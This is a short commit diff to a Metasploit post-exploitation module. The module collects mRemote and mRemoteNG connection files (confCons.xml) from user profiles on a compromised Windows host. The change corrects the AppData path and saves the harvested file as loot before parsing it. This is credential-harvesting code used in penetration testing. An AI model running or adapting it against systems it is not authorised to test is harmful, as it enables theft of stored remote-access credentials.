fix pathing in mremoteng

GSoC/Meterpreter_Web_Console
h00die 2018-09-09 21:07:47 -04:00
parent 741bbefae8
commit f926f6e9af
1 changed files with 4 additions and 2 deletions

View File

@ -39,7 +39,7 @@ class MetasploitModule < Msf::Post
grab_user_profiles().each do |user|
next if user['LocalAppData'] == nil
tmpath = user['LocalAppData'] + '\\Felix_Deimel\\mRemote\\confCons.xml'
ng_path = user['LocalAppData'] + '\\..\\Roaming\\mRemoteNG\\confCons.xml'
ng_path = user['AppData'] + '\\mRemoteNG\\confCons.xml'
get_xml(tmpath)
get_xml(ng_path)
end
@ -50,7 +50,9 @@ class MetasploitModule < Msf::Post
begin
if file_exist?(path)
condata = read_file(path)
parse_xml(condata)
loot_path = store_loot('confCons.xml', 'text/plain', session, condata)
vprint_good("confCons.xml saved to #{loot_path}")
parse_xml(condata)
print_status("Finished processing #{path}")
end
rescue Rex::Post::Meterpreter::RequestError